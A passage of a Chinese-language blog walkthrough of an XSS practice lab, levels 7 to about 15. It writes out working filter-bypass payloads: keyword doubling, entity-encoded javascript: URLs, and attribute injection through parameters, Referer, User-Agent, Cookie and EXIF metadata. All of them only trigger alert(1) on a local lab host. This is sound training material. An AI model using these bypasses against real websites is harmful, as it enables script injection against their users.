30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level7-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level7-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level7-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level7-xl.webp 1024w\"></figure>\n<p>也就是说，它看到危险关键词就直接删除</p>\n<p>既然它会删除：<code>href</code>，<code>script</code>等关键词，那么我尝试双写试试</p>\n<p>那我们可以故意把关键词“套娃”写进去，让它删掉中间那一段以后，剩下的刚好又拼成正确关键词</p>\n<p>输入以下内容：</p>\n<pre class=\"language-html line-numbers\"><code>\"&gt;&lt;a hrhrefef=\"javascrscriptipt:alert(1)\"&gt;点我&lt;/a&gt;</code></pre>\n<p>输入完成之后，发现出现了我们熟悉的超链接，点击后即可顺利进入下一关</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-213055.png\" alt=\"\" width=\"1927\" height=\"536\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-213055-xl.webp 1024w\"></figure>\n<h4>第八关（level8）</h4>\n<p>我们看到这里有一个搜索框，那么第一时间想到的肯定是输入<code>javascript:alert(1)</code>看看结果怎么样，点击“添加友情链接”后，发现跳转到了一个错误的URL</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level8.png\" alt=\"\" width=\"2297\" height=\"807\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level8-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level8-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level8-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level8-xl.webp 1024w\"></figure>\n<p>查看源码后发现，出现了关键词过滤改写，而且这里是不需要再闭合<code> input </code>标签，也不需要重新插入一个<code> a </code>标签，而是应该直接控制<code> href </code>的值，所以我们尝试使用特殊值，看看能不能绕过</p>\n<p>在 HTML 里，浏览器会解析 HTML 实体编码，那尝将期中一个字母转成HTML编码再带入试试（这里我是用的是burp suite自带的转码工具进行转码）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-221354.png\" alt=\"\" width=\"1636\" height=\"810\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221354-xl.webp 1024w\"></figure>\n<p>将这个字母<code>s</code>转码后的结果（&amp;#x73;）带入到我们之前尝试的语句中可得</p>\n<pre class=\"language-html line-numbers\"><code>java&amp;#x73;cript:alert(1)</code></pre>\n<p>再次点击“友情链接”，即可得到正确结果，进入下一关</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-221845.png\" alt=\"\" width=\"1925\" height=\"420\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-221845-xl.webp 1024w\"></figure>\n<h4>第九关（level9）</h4>\n<p>我们显示尝试使用我前一个关卡的思路，输入<code>java&amp;#x73;cript:alert(1)</code>，查看源码后发现</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level9-3.png\" alt=\"\" width=\"2003\" height=\"825\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level9-3-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level9-3-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level9-3-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level9-3-xl.webp 1024w\"></figure>\n<p>先做一个非常简单的测试，在输入框输入：</p>\n<pre class=\"language-http line-numbers\"><code>http://test.com</code></pre>\n<p>查看源码后，发现，带有http的语句可以被执行</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level9-1.png\" alt=\"\" width=\"1761\" height=\"816\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level9-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level9-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level9-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level9-1-xl.webp 1024w\"></figure>\n<p>那就说明，这里的要求输入里必须包含<code>http://</code></p>\n<p>那么我们就可以想到，构造既能执行 JavaScript，又能通过合法性判断的 Payload</p>\n<pre class=\"language-json line-numbers\"><code>java&amp;#x73;cript:alert(1)//http://test.com</code></pre>\n<p>最终成功弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-224612.png\" alt=\"\" width=\"1923\" height=\"438\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-224612-xl.webp 1024w\"></figure>\n<p><code>*注</code>：这里我一开始尝试使用普通的<code>javascript:alert(1)</code>，发现还是有关键词匹配的，会将<code>script</code>替换成<code>scr_ipt</code>，所以这里还是要用转码后的格式</p>\n<h4>第十关（level10）</h4>\n<p>打开这一关发现啥也没有，查看源码可发现，有3个属性为 hidden 的隐藏 value</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level10.png\" alt=\"\" width=\"1536\" height=\"908\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level10-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level10-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level10-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level10-xl.webp 1024w\"></figure>\n<p>虽然页面上没有输入框，但我们可以手动输入参数，判断后端是否会接收 URL 参数</p>\n<p>（这一步不是为了攻击，而是为了确认，隐藏 input 的 value 值是否来自 URL 参数）</p>\n<pre class=\"language-html line-numbers\"><code>&amp;t_link=aaa\n&amp;t_history=bbb\n&amp;t_sort=ccc</code></pre>\n<p>将以上内容拼接到网站链接后，再次查看源码，可发现有一个<code> value </code>接受了我们输入的测试参数ccc</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level10-1.png\" alt=\"\" width=\"1848\" height=\"904\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level10-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level10-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level10-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level10-1-xl.webp 1024w\"></figure>\n<p data-start=\"1260\" data-end=\"1286\">因为它是<code> hidden</code>，所以我们点不到它，也看不到它</p>\n<p data-start=\"1288\" data-end=\"1309\">但是我们可以通过注入，把它变成普通文本框（要注意这里的palyload需要拼接在我们之前发现的<code>&amp;t_sort=</code>后，因为只有这一个才能传入参数）</p>\n<pre class=\"language-html line-numbers\"><code>&amp;t_sort=\" type=\"text\" onclick=\"alert(1)</code></pre>\n<p data-start=\"1288\" data-end=\"1309\">这样原本隐藏的输入框就可能变成一个可点击的文本框，你点击它，就触发 <code data-start=\"1547\" data-end=\"1556\">onclick</code></p>\n<p>最后也是成功触发弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-18-231420.png\" alt=\"\" width=\"1864\" height=\"843\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-18-231420-xl.webp 1024w\"></figure>\n<h4>第十一关（level11）</h4>\n<p>这一关我们发现还是依旧啥也没有，所以我们还是<code>Ctrl+U</code>打开网页源代码看看</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level11.png\" alt=\"\" width=\"2289\" height=\"873\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level11-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level11-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level11-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level11-xl.webp 1024w\"></figure>\n<p data-start=\"501\" data-end=\"528\">所以这里我们看到的不是普通 URL 参数控制，而是：</p>\n<pre class=\"language-markdown line-numbers\"><code>请求头 Referer → 后端读取 → 输出到 hidden input 的 value 里</code></pre>\n<p data-start=\"501\" data-end=\"528\">那 Payload 应该怎么构造？</p>\n<p data-start=\"501\" data-end=\"528\">现在注入点是：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input name=\"t_ref\" value=\"你的 Referer\" type=\"hidden\"&gt;</code></pre>\n<p data-start=\"501\" data-end=\"528\">所以我们仍然可以用双引号逃逸：</p>\n<pre class=\"language-html line-numbers\"><code>\" type=\"text\" onclick=\"alert(1)</code></pre>\n<p data-start=\"501\" data-end=\"528\">最终希望它变成：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input name=\"t_ref\" value=\"\" type=\"text\" onclick=\"alert(1)\" type=\"hidden\"&gt;</code></pre>\n<p data-start=\"501\" data-end=\"528\">意思是：</p>\n<pre class=\"language-markdown line-numbers\"><code>\" \n闭合 value 属性\n\ntype=\"text\"\n把 hidden 输入框改成普通输入框\n\nonclick=\"alert(1)\n添加点击事件\n\n后面原本的 \"\n帮我们闭合 onclick 属性</code></pre>\n<p data-start=\"501\" data-end=\"528\">然后页面上会出现一个输入框，点击它就弹窗</p>\n<p data-start=\"501\" data-end=\"528\">所以我们的 Payload 就是：</p>\n<pre class=\"language-http line-numbers\"><code>Referer: \" type=\"text\" onclick=\"alert(1)</code></pre>\n<p data-start=\"501\" data-end=\"528\">接下来会需要用到Burp Suite的截包工具（如果你没有Burp Suite，那么还请前往这篇链接进行安装，<a href=\"https://old.zeyun.org/install_burpsuite.html\" target=\"_blank\" rel=\"noopener noreferrer\">点我前往安装Burp Suite文章</a>）</p>\n<p data-start=\"501\" data-end=\"528\">接下来我们使用 Burp Suite 进行截包，并使用 Burp Suite 的浏览器进行操作（这样会更直观）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level11-1.png\" alt=\"\" width=\"2068\" height=\"1220\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level11-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level11-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level11-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level11-1-xl.webp 1024w\"></figure>\n<p data-start=\"501\" data-end=\"528\">在新打开的浏览器中，输入你第11关（level11）的靶场网址（你的IP地址会和我的不一样，注意区分）</p>\n<pre class=\"language-html line-numbers\"><code>http://192.168.153.141:8088/level11.php?keyword=good%20job!</code></pre>\n<p data-start=\"501\" data-end=\"528\">按照下图的步骤，在HTTP请求头里添加 <code data-start=\"269\" data-end=\"278\">Referer</code></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level11-2.png\" alt=\"\" width=\"2811\" height=\"1374\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level11-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level11-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level11-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level11-2-xl.webp 1024w\"></figure>\n<p data-start=\"501\" data-end=\"528\">随后点击“Forward”放行这个数据包，即可出现搜索框，点击即可弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-19-003649.png\" alt=\"\" width=\"2855\" height=\"1377\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-003649-xl.webp 1024w\"></figure>\n<h4 data-start=\"501\" data-end=\"528\">第十二关（level12）</h4>\n<p>有了上一关的经验，这次我们依旧查看源码，看看网页端写了什么</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level12.png\" alt=\"\" width=\"2359\" height=\"897\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level12-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level12-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level12-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level12-xl.webp 1024w\"></figure>\n<p>源码里出现了：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;input name=\"t_ua\" value=\"浏览器UA内容\" type=\"hidden\"&gt;</code></pre>\n<p>这说明后端做了类似这样的事情：</p>\n<pre class=\"language-markdown line-numbers\"><code>读取 HTTP 请求头里的 User-Agent\n↓\n输出到 hidden input 的 value 属性中</code></pre>\n<p>所以第 12 关的注入点不是 URL 参数，而是：<code>User-Agent: </code>这里</p>\n<p>那么就很简单了 Payload 就和第 11 关一样，里面，所以还是用双引号闭合</p>\n<pre class=\"language-html line-numbers\"><code>目标是把原来的：\n&lt;input name=\"t_ua\" value=\"你的User-Agent\" type=\"hidden\"&gt;\n变成：\n&lt;input name=\"t_ua\" value=\"\" type=\"text\" onclick=\"alert(1)\" type=\"hidden\"&gt;</code></pre>\n<p>这样原本隐藏的输入框会变成普通文本框，点击它就触发 <code data-start=\"966\" data-end=\"975\">onclick</code></p>\n<p>操作步骤还是和第11关一样，这里我就使用文字来进行简单概述一下</p>\n<pre class=\"language-markdown line-numbers\"><code>1. Burp → Proxy → Intercept\n2. 打开 Intercept on\n3. 浏览器刷新：\n   http://192.168.153.141:8088/level12.php\n4. Burp 拦截请求\n5. 找到 User-Agent 这一行\n6. 把它改成：\n   User-Agent: \" type=\"text\" onclick=\"alert(1)\n7. 点 Forward\n8. 回到浏览器，页面应该出现一个小输入框\n9. 点击输入框，触发弹窗</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level12-1.png\" alt=\"\" width=\"2636\" height=\"1377\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level12-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level12-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level12-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level12-1-xl.webp 1024w\"></figure>\n<p>最后点击“Forward”放行这个数据包，即可出现搜索框，点击即可触发弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-19-010433.png\" alt=\"\" width=\"1316\" height=\"967\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-19-010433-xl.webp 1024w\"></figure>\n<h4>第十三关（level13）</h4>\n<p>这次打开页面，发现有一行报错，翻译成中文是</p>\n<pre class=\"language-markdown line-numbers\"><code>警告 ：无法修改标头信息 - 标头已由（输出始于 /var/www/html/level13.php:1）发送，位于 /var/www/html/level13.php 第 16 行</code></pre>\n<p>根据前几关的思路，我们发现这似乎已经形成了一个规律：</p>\n<pre class=\"language-markdown line-numbers\"><code>level10:\nt_link / t_history / t_sort\n↓\n隐藏字段\n↓\n通过 URL 参数控制\n\nlevel11:\nt_ref\n↓\nref 很像 Referer\n↓\n实际来自 Referer 请求头\n\nlevel12:\nt_ua\n↓\nua 是 User-Agent 的常见缩写\n↓\n实际来自 User-Agent 请求头</code></pre>\n<p>那这里的第十二关，我们通过<code>Crtl+U</code>查看源码可发现一个名叫<code>t_cook</code>的参数</p>\n<p>这是一个强线索，但是需要实验来进行验证</p>\n<p>我们首先先使用第十关（level10）的思想，我们直接在浏览器的地址栏输入以下内容</p>\n<pre class=\"language-http line-numbers\"><code>http://192.168.153.141:8088/level13.php?t_cook=aaa</code></pre>\n<p>但是再次查看源码后发现并没有传入参数，那么也就说明它大概率不是从<code> URL GET </code>参数来的</p>\n<p>然后再测试 Cookie，这时用 Burp 拦截请求，在请求头里加：</p>\n<pre class=\"language-http line-numbers\"><code>Cookie: user=aaa</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level13-1.png\" alt=\"\" width=\"2861\" height=\"1368\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level13-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level13-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level13-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level13-1-xl.webp 1024w\"></figure>\n<p>经过上述的步骤，这里也是成功验证了<code>t_cook</code>就是<code>cookie</code></p>\n<p>在已经确认<code data-start=\"2034\" data-end=\"2052\">Cookie: user=aaa</code>能控制<code data-start=\"2057\" data-end=\"2065\">t_cook</code>，再把 Cookie 改成：</p>\n<pre class=\"language-http line-numbers\"><code>Cookie: user=\" type=\"text\" onclick=\"alert(1)</code></pre>\n<p>在点击我们构造的 Payload 点击事件后，即可成功触发XSS弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-224545.png\" alt=\"\" width=\"1388\" height=\"967\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224545-xl.webp 1024w\"></figure>\n<h4>第十四关（level14）</h4>\n<p>在这一关，我们发现这里的网页源码中访问了一个网站（但截至当前时间节点，该网站似乎已经关站了，所以无奈之下，只能跳过）</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-224919.png\" alt=\"\" width=\"2444\" height=\"1407\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-224919-xl.webp 1024w\"></figure>\n<p>结合早期前辈的访问记录，这里我简单说一下这一关的原理和步骤</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-225803.png\" alt=\"\" width=\"1516\" height=\"913\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-225803-xl.webp 1024w\"></figure>\n<p>你可以把它理解成：<strong data-start=\"99\" data-end=\"159\">图片表面是一张正常图片，但图片的“属性信息”里可以写文字；如果网站把这些文字直接输出到网页，就可能触发 XSS</strong></p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-21-230040.png\" alt=\"\" width=\"1478\" height=\"1083\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-21-230040-xl.webp 1024w\"></figure>\n<p>也就是说，不是你在地址栏里写 payload，而是把 payload 写进图片的属性里（如上图所示）</p>\n<p>这些信息就叫图片元数据，常见类型包括：</p>\n<pre class=\"language-markdown line-numbers\"><code>EXIF\nIPTC\nXMP</code></pre>\n<p>比如图片属性里可能有：</p>\n<pre class=\"language-markdown line-numbers\"><code>标题：xxx\n作者：xxx\n备注：xxx\n版权：xxx</code></pre>\n<p>比如图片属性里可能有：</p>\n<pre class=\"language-markdown line-numbers\"><code>标题：xxx\n作者：xxx\n备注：xxx\n版权：xxx</code></pre>\n<p data-start=\"570\" data-end=\"582\">如果我们把这些字段改成：</p>\n<div class=\"relative w-full mt-4 mb-1\">\n<div class=\"\">\n<div class=\"relative\" data-custom-highlighting-behavior=\"boundary\">\n<div class=\"h-full min-h-0 min-w-0\">\n<div class=\"h-full min-h-0 min-w-0\">\n<div class=\"border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl\">\n<div class=\"h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback\">\n<div class=\"pointer-events-none absolute inset-x-4 top-12 bottom-4\">\n<div class=\"pointer-events-none sticky z-40 shrink-0 z-1!\">\n<div>\n<pre class=\"language-html line-numbers\"><code>\"&gt;&lt;img src=x onerror=alert(1)&gt;</code></pre>\n</div>\n<div>那么这个 payload 就被藏进图片里面了</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n<p>下图红色箭头指向的这些破图标很关键，它说明：</p>\n<pre class=\"language-markdown line-numbers\"><code>EXIF 字段里的 &lt;img src=x ...&gt; 被浏览器当成了真正的 img 标签解析</code></pre>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level14-6.png\" alt=\"\" width=\"1366\" height=\"613\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level14-6-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level14-6-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level14-6-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level14-6-xl.webp 1024w\"></figure>\n<p>但现在出现了破图标，说明浏览器真的创建了<code data-start=\"1243\" data-end=\"1250\">&lt;img&gt;</code>元素</p>\n<p>然后因为 <code data-start=\"1261\" data-end=\"1268\">src=x</code> 加载失败，就会触发：</p>\n<pre class=\"language-html line-numbers\"><code>onerror=alert(1)</code></pre>\n<p>也就是下图的弹窗</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level14-5.png\" alt=\"\" width=\"1366\" height=\"610\" sizes=\"(min-width: 760px) 660px, calc(93.18vw - 30px)\" srcset=\"https://old.zeyun.org/media/posts/59/responsive/level14-5-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level14-5-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level14-5-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level14-5-xl.webp 1024w\"></figure>\n<p>以上图片出处为：<a href=\"https://xz.aliyun.com/news/1147#toc-12\" target=\"_blank\" rel=\"noopener noreferrer\">先知社区</a></p>\n<h5>那这个漏洞是怎么产生的？</h5>\n<p data-start=\"675\" data-end=\"708\">假设有一个图片信息查看网站，它会读取图片元数据，然后显示到网页上</p>\n<p data-start=\"710\" data-end=\"722\">正常情况它应该这样显示：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;td&gt;&amp;quot;&amp;gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/td&gt;</code></pre>\n<p data-start=\"791\" data-end=\"807\">这样浏览器只会把它当成普通文字</p>\n<p data-start=\"809\" data-end=\"822\">但如果网站偷懒，直接输出：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;td&gt;\"&gt;&lt;img src=x onerror=alert(1)&gt;&lt;/td&gt;</code></pre>\n<p data-start=\"877\" data-end=\"898\">浏览器就会真的解析 <code data-start=\"887\" data-end=\"894\">&lt;img&gt;</code> 标签</p>\n<p data-start=\"900\" data-end=\"903\">因为：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;img src=x onerror=alert(1)&gt;</code></pre>\n<p data-start=\"900\" data-end=\"903\">里面的 <code data-start=\"951\" data-end=\"958\">src=x</code> 是一个不存在的图片地址，所以图片加载失败，触发 <code data-start=\"983\" data-end=\"992\">onerror</code>，然后执行：</p>\n<pre class=\"language-html line-numbers\"><code>alert(1)</code></pre>\n<p data-start=\"900\" data-end=\"903\">这就是 EXIF XSS 的本质</p>\n<h4>第十五关（level15）</h4>\n<p>查看源码后发现，这儿有个陌生的东西<code>ng-include</code></p>\n<p>这里需要补充一个概念：<code data-start=\"275\" data-end=\"287\">ng-include</code> 是什么？</p>\n<p>可以先简单理解成：</p>\n<pre class=\"language-markdown line-numbers\"><code>ng-include = 把另一个页面的内容加载进当前页面</code></pre>\n<p>比如 Angular 里可以写：</p>\n<pre class=\"language-html line-numbers\"><code>&lt;span ng-include=\"'test.html'\"&gt;&lt;/span&gt;</code></pre>\n<p>意思是：把<code>test.html</code>的内容加载到这里</p>\n<p data-start=\"686\" data-end=\"721\">可是现在页面没有输入框，也没有明显参数，所以不要急着打 payload</p>\n<p data-start=\"723\" data-end=\"728\">先看源码：</p>\n<figure class=\"post__image\"><img loading=\"lazy\"  src=\"https://old.zeyun.org/media/posts/59/level15.png\" alt=\"\" width=\"1028\" height=\"661\" 